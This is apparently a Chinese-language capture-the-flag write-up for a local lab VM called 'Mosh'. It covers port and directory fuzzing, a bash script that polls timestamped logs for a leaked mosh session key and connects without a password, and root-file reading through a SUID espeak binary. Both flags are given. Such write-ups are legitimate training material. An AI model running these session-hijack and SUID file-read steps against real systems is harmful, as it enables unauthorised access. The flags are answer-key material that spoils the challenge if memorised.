Mosh

端口扫描

python

```
┌──(root㉿kali)-[~/webtools]
└─# nmap -sV -A 192.168.56.134
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-26 11:38 UTC
Nmap scan report for 192.168.56.134
Host is up (0.00082s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.0 (protocol 2.0)
80/tcp open  http    nginx
| http-robots.txt: 3 disallowed entries
|_/admin/ /backup/ /*-logs/
|_http-title: 403 Forbidden
MAC Address: 08:00:27:A4:8A:71 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.82 ms 192.168.56.134

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.88 seconds
```

80/tcp

拿到提示，先fuzz一下 *-logs，得到一个 mosh

```
┌──(root㉿kali)-[~]
└─# ffuf -u http://192.168.56.134/FUZZ-logs/ -w
/usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -
mc 200,301,302,403 -fc 404 -t 100

        /'___\  /'___\           /'___\
```

```
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.56.134/FUZZ-logs/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-
large-directories-lowercase.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200,301,302,403
 :: Filter           : Response status: 404
________________________________________________

mosh                    [Status: 403, Size: 146, Words: 3, Lines: 8, Duration:
2ms]
:: Progress: [56162/56162] :: Job [1/1] :: 6329 req/sec :: Duration: [0:00:08]
:: Errors: 0 ::
```

然后再扫一下目录得到 reminder

```
┌──(root㉿kali)-[~]
└─# feroxbuster -u http://192.168.56.134/mosh-logs/ -w
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x
txt,php,html,bak,old,zip,tar.gz,sh -t 50 -d 2

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.0
──────────────────────────┬──────────────────────
 🎯  Target Url           │ http://192.168.56.134/mosh-logs
 🚩  In-Scope Url         │ 192.168.56.134
 🚀  Threads              │ 50
 📖  Wordlist             │ /usr/share/wordlists/dirbuster/directory-list-2.3-
medium.txt
 👌  Status Codes         │ All Status Codes!
 💥  Timeout (secs)       │ 7
 🦡  User-Agent           │ feroxbuster/2.13.0
```

```
 🔎 Extract Links          │ true
 $  Extensions             │ [txt, php, html, bak, old, zip, tar.gz, sh]
 🏁 HTTP methods           │ [GET]
 🔃 Recursion Depth        │ 2
 🎉 New Version Available  │
https://github.com/epi052/feroxbuster/releases/latest
──────────────────────────┴──────────────────────
 🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        7l       11w      146c http://192.168.56.134/admin
404      GET        7l       11w      146c http://192.168.56.134/backup
404      GET        7l       11w      146c Auto-filtering found 404-like
response and created new filter; toggle off with --dont-filter
403      GET        7l        9w      146c Auto-filtering found 404-like
response and created new filter; toggle off with --dont-filter
301      GET        7l       11w      162c http://192.168.56.134/mosh-logs =>
http://192.168.56.134/mosh-logs/
200      GET        1l        2w       37c http://192.168.56.134/mosh-
logs/reminder
[#################>---] - 5m   1596169/1984932 63s     found:4       errors:0
🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_192_168_56_134_mosh-logs-
1769423116.state ...
[#################>---] - 5m   1596487/1984932 63s     found:4       errors:0
[#################>---] - 5m   1596222/1984914 5825/s
http://192.168.56.134/mosh-logs/
```

下载下来拿到提示，日志文件是根据服务器当前时间生成的，格式为“年-月-日_时-分-秒.log”。

```
$(date +\%Y-\%m-\%d_\%H-\%M-\%S).log
```

先看看日志吧

```
┌──(root㉿kali)-[/opt]
└─# for d in 2026-01-{19..26}; do for h in $(seq -w 0 23); do for m in $(seq -w
0 59); do echo "${d}_${h}-${m}-00.log"; done; done; done > /tmp/ts.txt && ffuf -
u http://192.168.56.134/mosh-logs/FUZZ -w /tmp/ts.txt -mc 200 -t 200

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
```

```
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.56.134/mosh-logs/FUZZ
 :: Wordlist         : FUZZ: /tmp/ts.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 200
 :: Matcher          : Response status: 200
________________________________________________

2026-01-26_17-16-00.log [Status: 200, Size: 125, Words: 17, Lines: 4, Duration:
11ms]
2026-01-26_17-19-00.log [Status: 200, Size: 374, Words: 45, Lines: 10, Duration:
11ms]
2026-01-26_17-17-00.log [Status: 200, Size: 374, Words: 45, Lines: 10, Duration:
11ms]
2026-01-26_17-18-00.log [Status: 200, Size: 374, Words: 45, Lines: 10, Duration:
11ms]
2026-01-26_17-15-00.log [Status: 200, Size: 374, Words: 45, Lines: 10, Duration:
11ms]
2026-01-26_17-21-00.log [Status: 200, Size: 125, Words: 17, Lines: 4, Duration:
11ms]
2026-01-26_17-20-00.log [Status: 200, Size: 374, Words: 45, Lines: 10, Duration:
11ms]
2026-01-26_17-22-00.log [Status: 200, Size: 374, Words: 45, Lines: 10, Duration:
11ms]
2026-01-26_17-23-00.log [Status: 200, Size: 125, Words: 17, Lines: 4, Duration:
11ms]
2026-01-26_17-25-00.log [Status: 200, Size: 125, Words: 17, Lines: 4, Duration:
11ms]
2026-01-26_17-24-00.log [Status: 200, Size: 374, Words: 45, Lines: 10, Duration:
11ms]
2026-01-26_17-26-00.log [Status: 200, Size: 374, Words: 45, Lines: 10, Duration:
11ms]
2026-01-26_17-27-00.log [Status: 200, Size: 125, Words: 17, Lines: 4, Duration:
11ms]
2026-01-26_17-31-00.log [Status: 200, Size: 125, Words: 17, Lines: 4, Duration:
11ms]
2026-01-26_17-29-00.log [Status: 200, Size: 125, Words: 17, Lines: 4, Duration:
11ms]
2026-01-26_17-30-00.log [Status: 200, Size: 374, Words: 45, Lines: 10, Duration:
11ms]
2026-01-26_17-33-00.log [Status: 200, Size: 125, Words: 17, Lines: 4, Duration:
11ms]
2026-01-26_17-32-00.log [Status: 200, Size: 374, Words: 45, Lines: 10, Duration:
11ms]
```

```
2026-01-26_17-35-00.log [Status: 200, Size: 125, Words: 17, Lines: 4, Duration:
12ms]
2026-01-26_17-28-00.log [Status: 200, Size: 374, Words: 45, Lines: 10, Duration:
12ms]
2026-01-26_17-37-00.log [Status: 200, Size: 125, Words: 17, Lines: 4, Duration:
12ms]
2026-01-26_17-38-00.log [Status: 200, Size: 374, Words: 45, Lines: 10, Duration:
12ms]
2026-01-26_17-36-00.log [Status: 200, Size: 374, Words: 45, Lines: 10, Duration:
12ms]
2026-01-26_17-34-00.log [Status: 200, Size: 374, Words: 45, Lines: 10, Duration:
12ms]
2026-01-26_17-39-00.log [Status: 200, Size: 125, Words: 17, Lines: 4, Duration:
11ms]
2026-01-26_17-40-00.log [Status: 200, Size: 374, Words: 45, Lines: 10, Duration:
11ms]
2026-01-26_17-41-00.log [Status: 200, Size: 125, Words: 17, Lines: 4, Duration:
11ms]
2026-01-26_17-42-00.log [Status: 200, Size: 374, Words: 45, Lines: 10, Duration:
11ms]
2026-01-26_17-44-00.log [Status: 200, Size: 125, Words: 17, Lines: 4, Duration:
11ms]
2026-01-26_17-45-00.log [Status: 200, Size: 374, Words: 45, Lines: 10, Duration:
12ms]
2026-01-26_17-46-00.log [Status: 200, Size: 374, Words: 45, Lines: 10, Duration:
12ms]
2026-01-26_17-48-00.log [Status: 200, Size: 374, Words: 45, Lines: 10, Duration:
11ms]
2026-01-26_17-47-00.log [Status: 200, Size: 125, Words: 17, Lines: 4, Duration:
12ms]
2026-01-26_17-49-00.log [Status: 200, Size: 125, Words: 17, Lines: 4, Duration:
11ms]
2026-01-26_17-51-00.log [Status: 200, Size: 125, Words: 17, Lines: 4, Duration:
11ms]
2026-01-26_17-50-00.log [Status: 200, Size: 374, Words: 45, Lines: 10, Duration:
12ms]
2026-01-26_17-52-00.log [Status: 200, Size: 374, Words: 45, Lines: 10, Duration:
11ms]
2026-01-26_17-54-00.log [Status: 200, Size: 374, Words: 45, Lines: 10, Duration:
11ms]
2026-01-26_17-53-00.log [Status: 200, Size: 125, Words: 17, Lines: 4, Duration:
11ms]
2026-01-26_17-55-00.log [Status: 200, Size: 125, Words: 17, Lines: 4, Duration:
12ms]
2026-01-26_17-57-00.log [Status: 200, Size: 125, Words: 17, Lines: 4, Duration:
12ms]
2026-01-26_17-56-00.log [Status: 200, Size: 374, Words: 45, Lines: 10, Duration:
12ms]
```

```
2026-01-26_17-58-00.log [Status: 200, Size: 374, Words: 45, Lines: 10, Duration:
14ms]
2026-01-26_17-59-00.log [Status: 200, Size: 125, Words: 17, Lines: 4, Duration:
14ms]
2026-01-26_18-01-00.log [Status: 200, Size: 374, Words: 45, Lines: 10, Duration:
14ms]
2026-01-26_18-02-00.log [Status: 200, Size: 125, Words: 17, Lines: 4, Duration:
14ms]
2026-01-26_18-00-00.log [Status: 200, Size: 374, Words: 45, Lines: 10, Duration:
14ms]
2026-01-26_18-04-00.log [Status: 200, Size: 125, Words: 17, Lines: 4, Duration:
14ms]
2026-01-26_18-06-00.log [Status: 200, Size: 125, Words: 17, Lines: 4, Duration:
14ms]
2026-01-26_18-09-00.log [Status: 200, Size: 374, Words: 45, Lines: 10, Duration:
16ms]
2026-01-26_18-11-00.log [Status: 200, Size: 374, Words: 45, Lines: 10, Duration:
16ms]
2026-01-26_18-12-00.log [Status: 200, Size: 125, Words: 17, Lines: 4, Duration:
16ms]
2026-01-26_18-13-00.log [Status: 200, Size: 374, Words: 45, Lines: 10, Duration:
16ms]
2026-01-26_18-15-00.log [Status: 200, Size: 374, Words: 45, Lines: 10, Duration:
16ms]
2026-01-26_18-14-00.log [Status: 200, Size: 125, Words: 17, Lines: 4, Duration:
17ms]
2026-01-26_18-16-00.log [Status: 200, Size: 125, Words: 17, Lines: 4, Duration:
16ms]
2026-01-26_18-17-00.log [Status: 200, Size: 374, Words: 45, Lines: 10, Duration:
16ms]
2026-01-26_18-18-00.log [Status: 200, Size: 125, Words: 17, Lines: 4, Duration:
16ms]
2026-01-26_18-20-00.log [Status: 200, Size: 125, Words: 17, Lines: 4, Duration:
16ms]
2026-01-26_18-25-00.log [Status: 200, Size: 374, Words: 45, Lines: 10, Duration:
20ms]
2026-01-26_18-27-00.log [Status: 200, Size: 374, Words: 45, Lines: 10, Duration:
21ms]
2026-01-26_18-26-00.log [Status: 200, Size: 125, Words: 17, Lines: 4, Duration:
21ms]
2026-01-26_18-24-00.log [Status: 200, Size: 125, Words: 17, Lines: 4, Duration:
20ms]
2026-01-26_18-22-00.log [Status: 200, Size: 125, Words: 17, Lines: 4, Duration:
21ms]
2026-01-26_18-30-00.log [Status: 200, Size: 125, Words: 17, Lines: 4, Duration:
21ms]
2026-01-26_18-23-00.log [Status: 200, Size: 374, Words: 45, Lines: 10, Duration:
20ms]
```

```
2026-01-26_18-29-00.log [Status: 200, Size: 374, Words: 45, Lines: 10, Duration:
21ms]
2026-01-26_18-28-00.log [Status: 200, Size: 125, Words: 17, Lines: 4, Duration:
21ms]
2026-01-26_18-21-00.log [Status: 200, Size: 374, Words: 45, Lines: 10, Duration:
20ms]
2026-01-26_18-31-00.log [Status: 200, Size: 374, Words: 45, Lines: 10, Duration:
23ms]
2026-01-26_18-32-00.log [Status: 200, Size: 125, Words: 17, Lines: 4, Duration:
23ms]
2026-01-26_18-33-00.log [Status: 200, Size: 374, Words: 45, Lines: 10, Duration:
22ms]
2026-01-26_18-34-00.log [Status: 200, Size: 125, Words: 17, Lines: 4, Duration:
22ms]
2026-01-26_18-36-00.log [Status: 200, Size: 125, Words: 17, Lines: 4, Duration:
22ms]
2026-01-26_18-35-00.log [Status: 200, Size: 374, Words: 45, Lines: 10, Duration:
22ms]
2026-01-26_18-19-00.log [Status: 200, Size: 374, Words: 45, Lines: 10, Duration:
36ms]
:: Progress: [11520/11520] :: Job [1/1] :: 6250 req/sec :: Duration: [0:00:01]
:: Errors: 0 ::
```

发现大多数日志内容显示 `bind: Address in use`，说明 mosh 服务尝试在 UDP 60001 端口启动时失败，因为端口被占用。然而，在某些特定的时间点，日志中会出现 `MOSH CONNECT 60001 <KEY>` 的字样，这代表服务启动成功并输出了连接所需的会话密钥（Key）。由于 Mosh 是基于 UDP 的漫游协议，只要拥有这个 Key 和端口，我们就可以使用客户端直接连接进入会话，无需密码。

好像这个连接窗口时间很短，可能也是操作的问题，一直连不上，然后让 ai 写个脚本，

```bash
#!/bin/bash
# 目标 IP 和端口
TARGET="192.168.56.134"
PORT="60001"

echo "[*] Waiting for a valid mosh session on $TARGET..."

while true; do
    # 计算服务器时间（UTC+8）并格式化为日志文件名
    UTC_NOW=$(date -u "+%s")
    SERVER_TS=$((UTC_NOW + 28800))
    LOG_FILE=$(date -u -d @$SERVER_TS "+%Y-%m-%d_%H-%M-00.log")

    # 构造 URL 获取日志
    URL="http://$TARGET/mosh-logs/$LOG_FILE"
```

```
    # 设置超时时间防止卡顿
    CONTENT=$(curl -s --max-time 3 "$URL")

    # 检查日志是否包含连接成功的标志
    if echo "$CONTENT" | grep -q "MOSH CONNECT"; then
        # 提取 Key，日志格式为：MOSH CONNECT 60001 <KEY>
        KEY=$(echo "$CONTENT" | grep "MOSH CONNECT" | awk '{print $4}')

        # 校验 Key 长度（标准为 22 位）
        if [ ${#KEY} -eq 22 ]; then
            echo "[+] SUCCESS! Found active session!"
            echo "[+] Key:  $KEY"
            echo "[*] Connecting immediately..."

            # 导出环境变量供 mosh-client 使用
            export MOSH_KEY=$KEY
            # 使用 exec 替换当前进程连接目标
            exec mosh-client $TARGET $PORT
        fi
    fi
    sleep 1
done
```

等待一下即可

```
Mosh:~$ id
uid=1000(mosh) gid=1000(mosh) groups=1000(mosh)
Mosh:~$ cat user.txt
flag{user-3862995f666ac41681befb81b89a0103}
Mosh:~$
```

提权

没有 sudo，先查看一下 suid

```
Mosh:~$ find / -perm -u=s -type f 2>/dev/null
/bin/bbsuid
/usr/bin/espeak
Mosh:~$
```

发现有个 /usr/bin/espeak， 这是一个命令行文本转语音工具，可以先读取 root.txt 然后生成一个音频文件下载下来，但是听不清楚

```
/usr/bin/espeak --stdout -f /root/root.txt > /tmp/out.wav
cp /tmp/out.wav /var/www/localhost/mosh-logs/
```

然后可以尝试打印出来，单纯通过听音或看音标很难区分某些字符（例如 "a" 和 "8" 的发音可能混淆，"3" 和 "f" 在连读时容易误判）。为了精确获取 Flag 内容，我们利用 espeak 的 `-X` 参数。

```
/usr/bin/espeak -X -f /root/root.txt 2>/dev/null > /var/www/localhost/mosh-logs/trace.txt
```

命令解释：

- `/usr/bin/espeak`：可执行程序路径。
- `-X`：开启 Trace 模式，输出音素助记符和翻译跟踪信息到标准输出。这会显示 espeak 是如何将文本中的字符匹配到字典中的。
- `-f /root/root.txt`：指定要读取的目标文件。
- `2>/dev/null`：将标准错误输出（可能包含音频设备报错）丢弃，只保留我们关心的 Trace 信息。

```
┌──(root㉿kali)-[~/webtools]
└─# curl http://192.168.56.134/mosh-logs/trace.txt
Unpronouncable? 'flag'
 39     _) f (L01Y [f]

Translate 'flag'
  1     f        [f]
 39     _) f (L01Y [f]

  1     l        [l]

  1     a        [a]

  1     g        [g]

Translate '{'

Found: '_{' [lEftbreIs]
Translate 'root'
  1     r        [r]

 36     oo       [u:]
  1     o        [0]
```

```
  4     X) o     [0#]

  1     t        [t]

Flags:  a   $nounf
Translate 'a'
 40     _) a (_D [,eI]
  1     a        [a]
 26     _) a (_  [a#]

Found: '_9' [n'aIn]
Found: 'e' [i:]
Found: '_2X' [tw'Ent2i]
Found: '_6' [s'Iks]
Found: 'f' [Ef]
Found: '_8X' ['eIti]
Found: '_8' ['eIt]
Flags:  a   $nounf
Translate 'a'
 40     _) a (_D [,eI]
  1     a        [a]
 26     _) a (_  [a#]
 45     D_) a (_ [eI]

Found: '_4X' [f'o@ti]
Found: '_9' [n'aIn]
Found: 'f' [Ef]
Found: '_5X' [f'Ifti]
Found: '_4' [f'o@]
Translate 'ce'
  1     c        [k]
 22     c (e     [s]

  1     e        [E]
 45     XC) e (_N [i:]

Found: '_3' [Tr'i:]
Translate 'fe'
  1     f        [f]

  1     e        [E]
 45     XC) e (_N [i:]

Found: '_2X' [tw'Ent2i]
Found: '_9' [n'aIn]
Flags:  a   $nounf
Translate 'a'
 40     _) a (_D [,eI]
```

```
  1     a         [a]
 26     _) a (_   [a#]
 45     D_) a (_ [eI]

Found: '_8' ['eIt]
Found: 'b' [bi:]
Found: '_9' [n'aIn]
Found: 'f' [Ef]
Found: '_8' ['eIt]
Found: 'f' [Ef]
Found: '_0C' [h'Vndr@d]
Found: '_0M1' [T'aUz@nd]
Found: '_3' [Tr'i:]
Found: '_1' [w'02n]
Found: '_0and' [@n]
Found: '_3X' [T'3:ti]
Found: '_3' [Tr'i:]
Translate '}'

Found: '_}' [raItbreIs]
 fl'ag_:_: r'u:t,eI n'aIn 'i: tw'Entis'Iks 'Ef 'eIti;'eIt 'eI f'o@tin'aIn 'Ef
f'Iftif'o@ s'i: Tr'i: f'i: tw'Entin'aIn 'eI 'eIt b'i: n'aIn 'Ef 'eIt 'Ef Tr'i:
T'aUz@nd w'0nh'Vndr@d@n T'3:tiTr'i:
```

然后再给 ai 翻译一下拿到 flag

```
14 + 2 + 1 + 2 + 9 + 4 = 32 位！！！
正好 32 位！

所以 flag 是：
a9e26f88a49f54 + ce + 3 + fe + 29a8b9f8f + 3133

Result:

    1    flag{root-a9e26f88a49f54ce3fe29a8b9f8f3133}
 text

注意最后是 3133 而不是 33133。我之前多算了一个 3。
```

flag：

> flag{user-3862995f666ac41681befb81b89a0103}
>
> flag{root-a9e26f88a49f54ce3fe29a8b9f8f3133}